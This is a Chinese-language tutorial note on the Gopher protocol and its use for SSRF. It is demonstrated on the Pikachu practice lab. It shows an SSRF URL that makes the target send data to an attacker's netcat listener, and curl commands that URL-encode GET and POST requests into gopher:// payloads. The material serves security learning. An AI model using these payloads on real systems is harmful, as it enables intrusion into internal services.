Gopher协议学习

Gopher协议的学习

定义:

Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它;(百度百科)

gopher协议格式:
1
gopher协议  URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流 可用于构造Http请求包
利用条件
1
nc -lvp 4444  //kali开启4444端口进行监听 
通过pikachu靶场演示
1
http://192.168.159.132/pikachu/vul/ssrf/ssrf_curl.php?url=http://192.168.159.132/pikachu/vul/ssrf/ssrf_info/info1.php //看到网站url参数为url=一个url 可能存在ssrf漏洞

我们可以将url后面的参数改为gopheri协议像目标主机发送数据流

1
http://192.168.159.132/pikachu/vul/ssrf/ssrf_curl.php?url=gopher://kaliIP:端口号/这是我发送的数据

可以看到kali这边成功的接收到了我们通过gopher协议传输的数据

gopher协议发送GET、POST请求
GET请求

步骤

1
2
3
1、构造HTTP数据包
2、URL编码、替换回车换行为%0d%0a
3、发送gopher协议

GET型的HTTP数据包

1
2
GET /ssrf/base/get.php?url=test HTTP/1.1
Host: 192.168.159.132

为了方便我们直接在kali中进行演示

首先进入/var/www/html目录下创建gopher.php

1
2
cd /var/www/www   
vim gopher.php

将php代码写入gopher.php中

1
<?php echo "Hello ".$_GET["name"]."\n" ?>

开启apache

1
systemctl start apache2 //开启apache

重新打开一个shell

输入命令 这里注意我们使用的是http数据包,我们每次在浏览器输入的参数等,浏览器都会进行url编码以后才会传输.

因此我们需要对输入的命令进行url编码

1
curl gopher://192.168.159.131:80/_GET%20/gopher.php%3fname=xiaobai%20HTTP/1.1%0d%0AHost:%20192.168.159.131%0d%0A 
1
2
3
1、问号(?)需要转码为URL编码,也就是%3f
2、回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
3、在HTTP包的最后要加%0d%0a,代表消息结束 //具体http格式可参考之前写的http请求头学习的文章

成功通过get方式发送http数据包

POST请求

同样的方法先在html目录下创建gopher_post.php文件

1
2
cd /var/www/www
vim gopher_post.php

php代码

1
2
3
<?php
echo "Hello ".$_POST["name"]."\n"
?>

post请求包格式

1
2
3
4
POST /gopher_post.php HTTP/1.1 //请求行
host:192.168.159.131 //请求头

name=libo //请求实体

这里需要提醒一下,get请求包是没有请求实体的参数直接跟在了uri后面,而post请求包参数是放在请求实体的,具体详细信息可以参考我之前的文章HTTP请求头的学习文章有详细介绍.

url编码后

1
curl gopher://192.168.159.131:80/_POST%20/gopher_post.php%20HTTP/1.1%0d%0AHost:192.168.159.131%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:13%0d%0A%0d%0Aname=xiaobai%0d%0A 

成功通过post方式发送数据包

注意:POST请求头在原有基础上多增加了Content-Type,Content-Length两个请求头参数.

借鉴文章[Gopher协议在SSRF漏洞中的深入研究(https://zhuanlan.zhihu.com/p/112055947)